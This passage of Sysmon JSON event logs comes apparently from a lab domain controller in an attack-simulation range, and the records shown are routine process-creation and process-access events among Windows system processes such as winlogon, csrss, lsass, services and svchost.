11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.169\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001073D20000}\r\nProcessId: 1376\r\nImage: C:\\Windows\\System32\\dwm.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Desktop Window Manager\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dwm.exe\r\nCommandLine: \"dwm.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: Window Manager\\DWM-1\r\nLogonGuid: {90617006-3FD4-5F2D-0000-00209FB40000}\r\nLogonId: 0xB49F\r\nTerminalSessionId: 1\r\nIntegrityLevel: System\r\nHashes: MD5=C89F159A577F19F7F03C73C98D29D841,SHA256=B3E37997C1C62DD90D69EF83D6A6FC782BF9A5B8AD04A0D1528A8B7FA31AA408,IMPHASH=DDB7DE3741333EE031929A760FCD4542\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nParentProcessId: 800\r\nParentImage: C:\\Windows\\System32\\winlogon.exe\r\nParentCommandLine: winlogon.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.169","ProcessGuid":"{90617006-3FD4-5F2D-0000-001073D20000}","Image":"C:\\Windows\\System32\\dwm.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Desktop Window Manager","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dwm.exe","CommandLine":"\"dwm.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"Window Manager\\DWM-1","LogonGuid":"{90617006-3FD4-5F2D-0000-00209FB40000}","LogonId":"0xb49f","TerminalSessionId":"1","IntegrityLevel":"System","Hashes":"MD5=C89F159A577F19F7F03C73C98D29D841,SHA256=B3E37997C1C62DD90D69EF83D6A6FC782BF9A5B8AD04A0D1528A8B7FA31AA408,IMPHASH=DDB7DE3741333EE031929A760FCD4542","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-0010244B0000}","ParentProcessId":"800","ParentImage":"C:\\Windows\\System32\\winlogon.exe","ParentCommandLine":"winlogon.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nSourceProcessId: 800\r\nSourceThreadId: 1080\r\nSourceImage: C:\\Windows\\system32\\winlogon.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\SYSTEM32\\dwminit.dll+2d11|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","SourceProcessId":"800","SourceThreadId":"1080","SourceImage":"C:\\Windows\\system32\\winlogon.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\SYSTEM32\\dwminit.dll+2d11|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nSourceProcessId: 724\r\nSourceThreadId: 740\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","SourceProcessId":"724","SourceThreadId":"740","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTE